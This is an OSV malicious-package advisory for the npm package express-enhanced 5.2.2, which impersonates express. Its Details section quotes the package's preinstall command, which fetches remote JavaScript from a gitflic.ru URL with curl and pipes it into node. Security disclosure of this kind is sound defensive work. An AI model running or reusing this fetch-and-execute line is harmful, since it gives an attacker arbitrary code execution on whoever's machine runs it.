MAL-2026-17489

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/express-enhanced/MAL-2026-17489.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-17489
Published
2026-10-04T23:12:02Z
Modified
2026-10-04T23:30:05Z
Summary
Malicious code in express-enhanced (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (15d6ce3e4c988439e6023bb900fde41c1a7eebe0c372eddc3a3c3c9d8206a9d6)

express-enhanced@5.2.2 impersonates the express package: it ships the express README verbatim, declares TJ Holowaychuk as author, and points repository at expressjs/express, while publishing under a different name. The package.json preinstall script runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, downloading an unpinned JavaScript payload from a gitflic.ru account unrelated to the express maintainers (wrapped through web.archive.org) and piping it directly to node at npm install time. The fetched content is not integrity-checked, the source is mutable and attacker-controlled, and execution happens automatically on install, giving the publisher arbitrary code execution on any machine that installs the package.

Database specific 
{
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-020872",
            "import_time":  "2026-10-04T23:16:29.642783113Z",
            "modified_time":  "2026-10-04T23:12:02Z",
            "sha256":  "15d6ce3e4c988439e6023bb900fde41c1a7eebe0c372eddc3a3c3c9d8206a9d6",
            "source":  "amazon-inspector",
            "versions":  [
                "5.2.2"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / express-enhanced

Package

Name
express-enhanced
View open source insights on deps.dev
Purl
pkg:npm/express-enhanced

Affected ranges

Affected versions

5.*
5.2.2

Database specific

cwes 
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files":  [
        {
            "path":  "package.json",
            "sha256":  "12741fa46a7984140e20dfc874615c84c5a5c5097521837a5e059051439d7bf5",
            "tlsh":  "b451c921cc0e8c6326c5a2dd3c68a542622188078e41f81cf369539c8f8e56f71b9fbf"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "express-enhanced-5.2.2.tgz",
            "hashes":  {
                "sha1":  "24f3fdb91c894a3ca597fbe33360bda8c4976a21",
                "sha512_sri":  "sha512-Q67PFw7XYlHJgGS0S8/Mo/hxI07DyFGlUvyBVdBZzxQ/BmnfTWWyAEtPjsZlJe29kHS1Vz5eSPvy8TZtwabZkg=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/express-enhanced/MAL-2026-17489.json"